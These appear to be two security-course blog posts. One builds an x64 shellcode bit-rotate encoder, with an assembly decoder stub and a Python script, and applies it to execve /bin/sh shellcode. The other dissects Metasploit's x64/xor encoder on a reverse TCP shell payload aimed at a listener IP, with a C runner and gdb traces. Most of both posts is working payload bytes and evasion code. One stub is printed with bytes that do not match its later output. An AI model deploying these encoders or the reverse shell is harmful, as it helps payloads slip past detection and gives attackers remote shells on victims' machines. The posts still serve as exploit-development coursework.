x64 Shellcode Byte-Rotate Encoder

Shellcode encoders are used to defeat basic pattern matching or remove bad bytes from a payload. I've written before about Metasploit's x64/xor encoder, which is pretty simple and very effective.

I wrote an encoder that rotates bytes. I decided to rotate 3 bits left when encoding, meaning the decoder needs to rotate right 3 bits. Here is the decoder logic:

_start:
    jmp encoded

getaddr:
    pop rbx         ; *rbx stores data

    xor ecx, ecx
    add cl, 0xff    ; replace with shellcode size

decode:
    ror byte [rbx + rcx], 0x3
    loop decode

    jmp rbx

encoded:
    call getaddr

    ; db 0x.... encoded bytes go here

This resulted in the following 21 byte stub:

\xeb\x0e\x5b\x31\xc9\x80\xc1\x20\xc0\x0c\x0b\x03\xe2\xfa\xff\xe3\xe8\xed\xff\xff\xff

I created a python script that basically just rotates all the bits left by 3, and then prepends the decoder stub (changing the length in the cl register appropriately).

''' x64 Shellcode Bit-Rotate Encoder '''

def rol(byte, count):
    return (byte << count | byte >> (8 - count)) & 0xff

def hex_string(byte):
    return "\\" + hex(byte)[1 : ]

def rot_encode_vector(shellcode):
    encoded = []
    for byte in shellcode:
        encoded.append(rol(byte, 3))

    return encoded

def add_decoder_stub(encoded):
    decoder = "\\xeb\\x0e\\x5b\\x31\\xc9\\x80\\xc1\\x04"
    decoder += hex_string(len(encoded))
    decoder += "\\xc0\\x0c\\x0b\\x03\\xe2\\xfa\\xff\\xe3"
    decoder += "\\xe8\\xed\\xff\\xff\\xff"

    for byte in encoded:
        decoder += hex_string(byte)

    return decoder

def rot_encode(shellcode):
    shellcode_vector = shellcode.split('\\x')[1 : ]
    shellcode_vector = [int(y, 16) for y in shellcode_vector]

    encoded_vector = rot_encode_vector(shellcode_vector)
    complete = add_decoder_stub(encoded_vector)

    return complete, encoded_vector, shellcode_vector

if __name__ == '__main__':
    import argparse
    args = argparse.ArgumentParser(description='Bit-Rotate Encoder')
    args.add_argument('shellcode', help='shellcode to encode')

    argv = args.parse_args()

    out, encv, scv = rot_encode(argv.shellcode)

    print 'Original length: %d' % (len(scv))
    print argv.shellcode
    print
    print 'Encoded length: %d' % (len(out) / 4)
    print out
    print
    print 'db ' + ', '.join(map(hex, encv))

To run it, just enter the shellcode you want to use. Here is an example using a 32 byte execve local shell.

root@kali:~/SLAE64# python ./encoder.py "\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05"

Original length: 32
\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05

Encoded length: 53
\xeb\x0e\x5b\x31\xc9\x80\xc1\x04\x20\xc0\x0c\x0b\x03\xe2\xfa\xff\xe3\xe8\xed\xff\xff\xff\x42\x89\x6\x82\x42\xdd\x79\x13\x4b\x73\x79\x79\x9b\x43\x9a\x42\x4c\x3f\x82\x42\x4c\x17\xba\x42\x4c\x37\x42\x1c\x6\xd9\x78\x28

db 0x42, 0x89, 0x6, 0x82, 0x42, 0xdd, 0x79, 0x13, 0x4b, 0x73, 0x79, 0x79, 0x9b, 0x43, 0x9a, 0x42, 0x4c, 0x3f, 0x82, 0x42, 0x4c, 0x17, 0xba, 0x42, 0x4c, 0x37, 0x42, 0x1c, 0x6, 0xd9, 0x78, 0x28

This bears very little resemblance to the original bytes, and looks like garbage code when disassembled.

"\x42\x89\x06"                  /* rex.X mov %eax,(%rsi) */
"\x82"                          /* (bad) */
"\x42\xdd\x79\x13"              /* rex.X fnstsw 0x13(%rcx) */
"\x4b\x73\x79"                  /* rex.WXB jae 99  */
"\x79\x9b"                      /* jns    ffffffffffffffbd */
"\x43\x9a"                      /* rex.XB (bad) */
"\x42"                          /* rex.X */
"\x4c\x3f"                      /* rex.WR (bad) */
"\x82"                          /* (bad) */
"\x42"                          /* rex.X */
"\x4c\x17"                      /* rex.WR (bad) */
"\xba\x42\x4c\x37\x42"          /* mov    $0x42374c42,%edx */
"\x1c\x06"                      /* sbb    $0x6,%al */
"\xd9\x78\x28"                  /* fnstcw 0x28(%rax) */

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.

Student ID: SLAE64 - 1360

A Look at the x64/xor Metasploit Encoder

After I finished micro optimizing my reverse TCP shellcode, I remembered that Metasploit offers one. The msfpayload generated one which weighs in at 74 bytes. It would seem better than my 77 byte shellcode, except this comes with a price. The payload always contains null-bytes, even if your IP does not have .0's in it. This means you won't have as much luck exploiting string buffers as a completely null-free version would.

I found that to generate a null-free reverse TCP payload with Metasploit I had to use the encoder, and there only appears to be a single encoder explicitly for x64. The final payload size is 119 bytes.

root@kali:~/.ssh# msfpayload linux/x64/shell_reverse_tcp LHOST=10.2.100.15 LPORT=4444 R | msfencode -t c -e x64/xor -b '\x00'
[*] x64/xor succeeded with size 119 (iteration=1)

I threw this into a C file.

unsigned char sc[] =
"\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d\x05\xef\xff"
"\xff\xff\x48\xbb\x64\x8b\x0a\x55\x36\x0b\x54\xa5\x48\x31\x58"
"\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\x0e\xa2\x52\xcc\x5c\x09"
"\x0b\xcf\x65\xd5\x05\x50\x7e\x9c\x1c\x1c\x66\x8b\x1b\x09\x3c"
"\x09\x30\xaa\x35\xc3\x83\xb3\x5c\x1b\x0e\xcf\x4e\xd3\x05\x50"
"\x5c\x08\x0a\xed\x9b\x45\x60\x74\x6e\x04\x51\xd0\x92\xe1\x31"
"\x0d\xaf\x43\xef\x8a\x06\xe2\x64\x7a\x45\x63\x54\xf6\x2c\x02"
"\xed\x07\x61\x43\xdd\x43\x6b\x8e\x0a\x55\x36\x0b\x54\xa5";

main(void)
{
    (*(void(*)()) sc)();
}

I compiled it: gcc -m64 -z execstack msfencoded.c

I then started up: gdb ./a.out

0x00000000004004ba in main ()
7: /x $rdi = 0x1
6: /x $rsi = 0x7fffffffe428
5: /x $rdx = 0x600880
4: /x $rcx = 0x0
3: /x $rbx = 0x0
2: /x $rax = 0x0
1: x/i $rip
=> 0x4004ba <main+14>:    callq  *%rdx

This is where the call into our shellcode begins. It starts out by setting RCX to 0xa. It then does RIP-relative addressing to load into RAX where it needs to start decoding from.

0x000000000060088a in sc ()
7: /x $rdi = 0x1
6: /x $rsi = 0x7fffffffe428
5: /x $rdx = 0x600880
4: /x $rcx = 0xa
3: /x $rbx = 0x0
2: /x $rax = 0x0
1: x/i $rip
=> 0x60088a <sc+10>:    lea    -0x11(%rip),%rax        # 0x600880 <sc>

Next, 0xa5540b36550a8b64 is moved into RBX. This is xored at [RAX + 0x27].

0x000000000060089b in sc ()
7: /x $rdi = 0x1
6: /x $rsi = 0x7fffffffe428
5: /x $rdx = 0x600880
4: /x $rcx = 0xa
3: /x $rbx = 0xa5540b36550a8b64
2: /x $rax = 0x600880
1: x/i $rip
=> 0x60089b <sc+27>:    xor    %rbx,0x27(%rax)

Eight bytes are then subtracted from RAX and the loop starts back at the XOR continues.  Once the loop finishes, we find ourselves directly at the pre-encoded payload.

This is clearly a very simple encoder.  Here's what the full code looks like:

_start:
    xor rcx, rcx
    sub rcx, 0xfffffffffffffff6
    lea rax, [rip + 0xffffffffffffffef] 
    mova rbx ,0xa5540b36550a8b64

decode:
    xor qword ptr [rax+0x27], rbx
    sub rax, 0xfffffffffffffff8
    loop decode

data:
    db 0x...

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.

Student ID: SLAE64 - 1360